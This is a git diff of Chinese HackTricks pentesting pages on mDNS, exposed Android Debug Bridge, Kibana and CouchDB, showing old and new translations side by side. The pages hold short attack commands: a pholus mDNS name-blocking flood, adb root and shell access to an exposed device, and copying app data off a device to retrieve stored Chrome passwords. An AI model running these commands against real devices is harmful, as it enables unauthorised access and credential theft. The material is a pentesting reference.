- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>

View file

@ -2,49 +2,46 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习 AWS 黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
- 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告** 吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
支持 HackTricks 的其他方式:
- 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧。**
* 如果您想在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库 **提交 PR 来分享您的黑客技巧。**
</details>
## 基本信息
多播 DNS (mDNS) 是一种**零配置协议**,允许你在没有传统单播 DNS 服务器的情况下,在本地网络上执行类似 DNS 的操作。该协议使用与 DNS 相同的 API、数据包格式和操作语义允许你解析本地网络上的域名。**DNS 服务发现 (DNS-SD)** 是一种协议,允许客户端使用标准 DNS 查询在域中**发现命名的服务实例列表**(例如 test.\_ipps.\_tcp.local 或 linux.\_ssh.\_tcp.local。DNS-SD 最常与 mDNS 结合使用但并不依赖于它。它们都被许多物联网设备使用例如网络打印机、Apple TV、Google Chromecast、网络附加存储 (NAS) 设备和摄像头。\
**默认端口:**5353/UDP
多播 DNS (mDNS) 是一种**零配置协议**,允许您在没有传统单播 DNS 服务器的情况下,在本地网络上执行**类似 DNS 的操作**。该协议使用**相同的** API、**数据包格式**和操作语义作为 DNS允许您在本地网络上解析域名。**DNS 服务发现 (DNS-SD)** 是一种协议,允许客户端使用标准 DNS 查询在域中**发现服务的命名实例列表**(例如 test.\_ipps.\_tcp.local 或 linux.\_ssh.\_tcp.local。DNS-SD 最常与 mDNS 一起使用,但不依赖于它。它们都被许多物联网设备使用,如网络打印机、苹果电视、谷歌 Chromecast、网络附加存储 (NAS) 设备和摄像头。\
**默认端口:** 5353/UDP
```
PORT STATE SERVICE
5353/udp open zeroconf
```
### mDNS的工作原理
当本地网络缺乏传统的单播DNS服务器时设备使用mDNS。为了使用mDNS解析本地地址的域名设备向多播地址224.0.0.251IPv4或FF02::FBIPv6发送以.local结尾的域名的DNS查询。您也可以使用mDNS解析全局域名非.local域名但是mDNS实现应默认禁用此行为。mDNS请求和响应使用UDP和端口5353作为源和目标端口。
当本地网络**缺少**传统的**单播DNS服务器**时设备使用mDNS。要使用mDNS解析本地地址的域名设备会向**多播**地址224.0.0.251IPv4或FF02::FBIPv6发送以**.local**结尾的**DNS查询域名**。您也可以使用mDNS解析**全局域名**(非.local的但mDNS实现默认应该**禁用**此行为。mDNS请求和响应使用**UDP**和**端口5353**作为源端口和目的端口。
mDNS的回复包含几个重要的标志包括一个表示记录有效时间的生存时间TTL值。发送TTL=0的回复意味着相应的记录应该被清除。另一个重要的标志是QU位它表示查询是否是单播查询。如果QU位未设置则数据包是多播查询QM。因为可能在本地链路之外接收到单播查询安全的mDNS实现应始终检查数据包中的源地址是否与本地子网地址范围匹配。
mDNS回复包含几个重要的标志,包括一个**生存时间**TTL表示记录有效的秒数。发送**TTL=0的回复意味着相应的记录应该被清除**。另一个重要的标志是QU位它表示查询是否为单播查询。如果**QU位未设置**,数据包是一个**多播**查询QM。因为有可能**在本地链路之外接收到单播查询**安全的mDNS实现应始终**检查数据包中的源地址是否与本地子网地址范围匹配**
### DNS-SD的工作原理
DNS-SD允许客户端在网络上发现可用的服务。要使用它客户端发送标准的DNS查询以获取指针记录PTR该记录将服务类型映射到特定实例的名称列表。
DNS-SD允许客户端**发现网络上可用的服务**。为了使用它客户端发送标准DNS查询以获取指针记录PTR这些记录将服务类型映射到该类型服务的特定实例的名称列表。
为了请求PTR记录客户端使用名称形式“\<Service>.\<Domain>”。**\<Service>**部分是服务名称前面加上“\_”例如\_ipps\_printer或\_ipp然后是**\_tcp或\_udp**。**\<Domain>**部分是“.local”。
然后,**响应者**返回指向相应**服务SRV**和**文本TXT记录**的PTR记录。以下是PTR记录的示例
要请求PTR记录客户端使用"\<Service>.\<Domain>"的名称形式。**\<Service>**部分是服务名称前面加上"\_"(例如,\_ipps、\_printer或\_ipp以及**\_tcp或\_udp**。**\<Domain>**部分是"**.local**"。\
**响应者**然后返回指向相应**服务SRV**和**文本TXT记录**的PTR记录。以下是PTR记录的一个例子
```
_ipps._tcp.local: type PTR, class IN, test._ipps._tcp.local
```
PTR记录中冒号左侧的部分是其名称右侧的部分是PTR记录指向的SRV记录。SRV记录列出了服务实例可以访问的目标主机和端口。例如下图显示了Wireshark中主机ubuntu.local和端口8000上的“test._ipps._tcp.local” SRV记录
PTR 记录中冒号**左边**的部分是它的**名称**,而**右边**的部分是 PTR 记录指向的**SRV** **记录**。**SRV** 记录列出了可以访问**服务**实例的目标**主机**和**端口**。例如,下图显示了 Wireshark 中的 "test.\_ipps.\_tcp.local" SRV 记录,主机为 ubuntu.local端口为 8000
![](<../.gitbook/assets/image (651) (1) (1) (1) (1).png>)
因此,SRV记录的名称类似于PTR记录前面的\<Instance>名称在本例中为test。TXT记录与SRV记录具有相同的名称并包含在IP地址和端口号包含在SRV记录中无法足以标识服务时所需的信息。
因此,**SRV** 记录的**名称**类似于**PTR** 记录,之前由**\<Instance>** 名称(本例中为 test**前置**。**TXT** 记录与**SRV** 记录**同名**,包含在 IP 地址和端口号(包含在 SRV 记录中)不足以识别服务时所需的信息。
## 枚举
@ -68,25 +65,25 @@ PORT STATE SERVICE
```
### 网络枚举
通过发送mDNS请求并捕获多播mDNS流量您可以了解有关本地网络的许多信息。
通过简单地发送mDNS请求和捕获多播mDNS流量您可以了解本地网络的许多信息。
您可以使用工具[**Pholus**](https://github.com/aatlasis/Pholus/)在本地网络上发送mDNS请求-rq并捕获多播mDNS流量持续 -stimeout 10秒
您可以使用工具 [**Pholus**](https://github.com/aatlasis/Pholus/) 在本地网络上发送mDNS请求-rq并捕获多播mDNS流量对于-stimeout 10秒
```bash
sudo python3 pholus3.py eth0 -rq -stimeout 10
```
## 攻击
### 滥用mDNS探测阶段
### 滥用 mDNS 探测阶段
mDNS响应器启动或更改其连接时它会询问本地网络是否有**任何资源使用他计划使用的名称**。如果答案中包含所询问的记录,则探测主机**应选择一个新名称**。如果在10秒内发生15次冲突则主机必须在进行任何其他尝试之前等待至少五秒。此外如果主机在一分钟内找不到未使用的名称则向用户报告错误。
mDNS 响应器启动或更改其连接性时,它会询问本地网络是否有**计划使用的任何资源名称**。如果答案包含了相关记录,探测主机**应选择一个新名称**。如果在10秒内发生15次冲突主机必须至少等待五秒钟才能进行任何额外尝试。此外如果在一分钟内主机找不到未使用的名称它会向用户报告一个错误。
以下命令行将阻止任何新设备获得任何新名称,因为它将指示**任何名称已被占用**
以下命令行将阻止任何新设备获取任何新名称,因为它会指示**任何名称已经被占用**
```bash
sudo python pholus.py eth0 -afre -stimeout 1000
```
### 伪造/中间人攻击
### 欺骗/中间人攻击
您可以在此服务上执行的最有趣的攻击是在**客户端和真实服务器之间的通信中执行中间人攻击**。您可能能够获取敏感文件中间人攻击与打印机的通信甚至凭据Windows身份验证
您可以对此服务执行的最有趣的攻击是在**客户端与真实服务器之间的通信**中执行**中间人攻击**。您可能能够获取敏感文件中间人攻击与打印机的通信或甚至凭据Windows认证。\
有关更多信息,请查看:
{% content-ref url="../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
@ -95,20 +92,18 @@ sudo python pholus.py eth0 -afre -stimeout 1000
## 参考资料
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
* [实用物联网黑客攻击:攻击物联网的权威指南](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
- 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持 HackTricks 的其他方式:
- 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**
* 如果您希望在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF 版本** 请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。**
</details>

View file

@ -2,23 +2,21 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零到英雄学习AWS黑客攻击</strong></summary>
- 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果你想在**HackTricks中看到你的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。
</details>
## 基本信息
**Android Debug Bridge** (adb) 是一个多功能的命令行工具,可以与设备进行通信。adb命令可以执行各种设备操作例如**安装和调试应用程序**,并提供**访问Unix shell**的功能,可以在设备上运行各种命令。 (来自[这里](https://developer.android.com/studio/command-line/adb))
**Android Debug Bridge** (adb) 是一个多功能的命令行工具,允许你与设备进行通信。adb命令支持多种设备操作例如**安装和调试应用程序**,并提供**访问Unix shell**的能力,你可以使用它在设备上运行各种命令。(来源于[这里](https://developer.android.com/studio/command-line/adb)
**默认端口**5555。
```
@ -27,20 +25,28 @@ PORT STATE SERVICE VERSION
```
## 连接
如果发现设备上运行着一个端口上的ADB服务,并且你可以连接到它,**你可以在系统内部获取一个shell**
如果发现ADB服务在设备的端口上运行,并且你可以连接到它,**你可以在系统内获得一个shell**
```bash
adb connect 10.10.10.10
adb root # Try to escalate to root
adb shell
```
要完全下载一个应用程序的数据,你可以执行以下操作:
有关更多ADB命令请查看以下页面
{% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %}
[adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md)
{% endcontent-ref %}
### 转储应用数据
为了完整下载应用程序的数据,您可以:
```bash
# From a root console
chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package"
```
您可以使用此技巧来检索敏感信息例如Chrome密码。有关更多信息请查看提供的参考资料[**here**](https://github.com/carlospolop/hacktricks/issues/274)。
你可以使用这个技巧来**检索像chrome密码这样的敏感信息**。更多信息请查看[**这里**](https://github.com/carlospolop/hacktricks/issues/274)提供的信息和参考资料
## Shodan
@ -48,16 +54,14 @@ adb pull "/sdcard/com.package"
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直到成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)
其他支持HackTricks的方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**
* 如果你想在HackTricks中看到你的**公司广告**或者**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享你的黑客技巧**。
</details>

View file

@ -1,41 +1,24 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
- 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中看到你的 **公司广告**?或者想要获得 **PEASS 的最新版本或下载 HackTricks 的 PDF**?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter****关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**
</details>
# 基本信息
Kibana 为 Elasticsearch 中索引的数据提供搜索和数据可视化功能。该服务默认运行在端口 **5601** 上。Kibana 还充当 Elastic Stack 集群的用户界面,用于监控、管理和保护
Kibana 为在 Elasticsearch 中索引的数据提供搜索和数据可视化功能。该服务默认在端口 **5601** 上运行。Kibana 还充当监控、管理和保护 Elastic Stack 集群的用户界面。
## 认证?
Kibana 的认证与 [Elasticsearch](9200-pentesting-elasticsearch.md) 的凭据相关联。如果在 Elasticsearch 中禁用了认证,那么在登录 Kibana 时也可以无需凭据访问。否则,登录 Kibana 时应使用与 Elasticsearch 相同的凭据。在 Elasticsearch 中的用户权限与 Kibana 中的权限相同
Kibana 的认证与 [**Elasticsearch**](9200-pentesting-elasticsearch.md) 的**凭据相关联**。如果在 **Elasticsearch** 中**禁用了认证****Kibana** 也应该**可以无需凭据访问**。否则,对 Elasticsearch 有效的**相同凭据**应该在登录 Kibana 时也能使用。在 **Elasticsearch** 中的**用户权限**与在 **Kibana** 中的**相同**。
可能会在配置文件 **/etc/kibana/kibana.yml** 中找到凭据。如果这些凭据不是用于用户 **kibana\_system**可以尝试使用它们来访问更多数据。它们可能比 **kibana\_system** 用户拥有更多权限,后者只能访问监控 API 和 **.kibana** 索引。
你可能会在配置文件 **/etc/kibana/kibana.yml** 中找到凭据。如果这些凭据不是用于用户 **kibana\_system**,应该尝试使用它们来访问更多数据。它们可能比 **kibana\_system** 用户拥有更多权限,后者只能访问监控 API 和 **.kibana** 索引。
## 获得访问权限?
## 拥有访问权限?
获得 Kibana 的访问权限时,您可以执行以下操作
当拥有对 Kibana 的访问权限时,你可以做几件事情:
* 尝试从 Elasticsearch 中访问数据
* 检查是否可以访问用户面板,并且是否可以编辑、删除或创建新用户、角色或 API 密钥Stack Management -> Users/Roles/API Keys
* 检查当前版本是否存在漏洞(**2019Kibana 版本 < 6.6.0 存在 RCE 漏洞** \[[2](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)])
* 尝试**访问来自 Elasticsearch 的数据**
* 检查是否可以访问用户面板,以及是否可以**编辑、删除或创建新用户**、角色或 API 密钥(堆栈管理 -> 用户/角色/API 密钥)
* 检查当前版本是否存在漏洞(**2019年Kibana 版本 < 6.6.0 存在 RCE 漏洞** \[[2](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)])
## 启用 SSL/TLS
## 启用 SSL/TLS
如果未启用 SSL/TLS评估是否可能泄露敏感信息。
如果没有启用 SSL/TLS应该评估是否可能泄露敏感信息。
## 参考资料
@ -44,16 +27,14 @@ Kibana 中的认证与 [Elasticsearch](9200-pentesting-elasticsearch.md) 的凭
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> 从零到英雄学习 AWS 黑客攻击!</strong></summary>
- 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中看到你的 **公司广告**?或者想要获得 **PEASS 的最新版本或下载 HackTricks 的 PDF**?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
其他支持 HackTricks 的方式:
- 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter****关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**
* 如果你想在 **HackTricks** 中看到你的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享你的黑客技巧。**
</details>

View file

@ -1,128 +1,90 @@
# 5984,6984 - Pentesting CouchDB
# 5984,6984 - 对CouchDB的渗透测试
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零到英雄学习AWS黑客攻击</strong></summary>
- 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## **基本信息**
CouchDB是一个面向文档的数据库每个文档中的字段都以键值对的形式存储。字段可以是简单的键/值对、列表或映射。
CouchDB是一个面向文档的数据库在每个文档中字段以键值映射的形式存储。字段可以是简单的键/值对、列表或映射。
存储在数据库中的每个文档都被赋予一个文档级别的唯一标识符(`_id`),以及对数据库进行的每个更改的修订(`_rev`)号
存储在数据库中的每个文档都被赋予一个文档级别的唯一标识符`_id`)以及每次更改并保存到数据库的修订号(`_rev`
**默认端口:** 5984http6984https
**默认端口:** 5984(http), 6984(https)
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
## **自动枚举**
Automatic enumeration is the process of gathering information about a target system or network automatically, without manual intervention. This technique is commonly used in penetration testing to identify potential vulnerabilities and weaknesses.
自动枚举是一种自动收集目标系统或网络信息的过程,无需手动干预。这种技术通常用于渗透测试,以识别潜在的漏洞和弱点。
There are various tools and techniques available for automatic enumeration, including:
